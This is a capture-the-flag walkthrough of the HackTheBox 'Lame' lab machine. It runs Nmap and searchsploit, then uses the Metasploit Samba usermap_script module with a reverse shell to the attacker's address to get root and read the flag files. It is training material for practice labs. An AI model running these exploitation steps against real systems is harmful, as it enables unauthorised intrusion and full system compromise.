HackTheBox Lame CTF Walkthrough

This walkthrough demonstrates the full exploitation process for the Lame machine on HackTheBox, from initial reconnaissance to gaining root access, along with key lessons learned.

1. Initial Reconnaissance

The first step in any CTF is to identify open services on the target machine. We used Nmap for a full TCP port scan with service detection and default script scanning:

sudo nmap -sS -sV -sC -p- 10.129.145.147 -oN nmap_full_scan

Nmap Scan Results:

• 21/tcp (FTP) – vsftpd 2.3.4 (Anonymous login allowed)

• 22/tcp (SSH) – OpenSSH 4.7p1

• 139/tcp & 445/tcp (Samba) – smbd 3.0.20-Debian, workgroup: WORKGROUP

• 3632/tcp (distccd) – distccd v1

Key observations:

• FTP allows anonymous login, but initial exploration did not reveal sensitive files.

• Samba is running a vulnerable version (3.0.20), which could be exploited.

• vsftpd 2.3.4 is known for a backdoor vulnerability in older versions.

Service enumeration also revealed general system info: Unix/Linux OS, hostname lame, domain hackthebox.gr.

2. Service Vulnerability Analysis

FTP: vsftpd 2.3.4

Searching for exploits:

searchsploit vsftpd 2.3.4

Results showed the infamous backdoor command execution, but attempts with Metasploit failed. This illustrates an important lesson: the presence of a known vulnerable service does not guarantee it is the intended attack vector.

Samba: 3.0.20

We also examined Samba exploits:

searchsploit samba 3.0.20

Relevant exploit: Samba 'Username map script' Command Execution. This version was vulnerable to remote code execution using the Metasploit usermap_script module.

3. Exploiting Samba via Metasploit

Open Metasploit:

msf6 > use exploit/multi/samba/usermap_script

2. Configure the module options:

set RHOSTS 10.129.145.147
set LHOST 10.10.14.62
set LPORT 5555

3. Launch the exploit:

exploit

[*] Command shell session 1 opened
id
uid=0(root) gid=0(root)

cd /home/makis
cat user.txt

cd /root
cat root.txt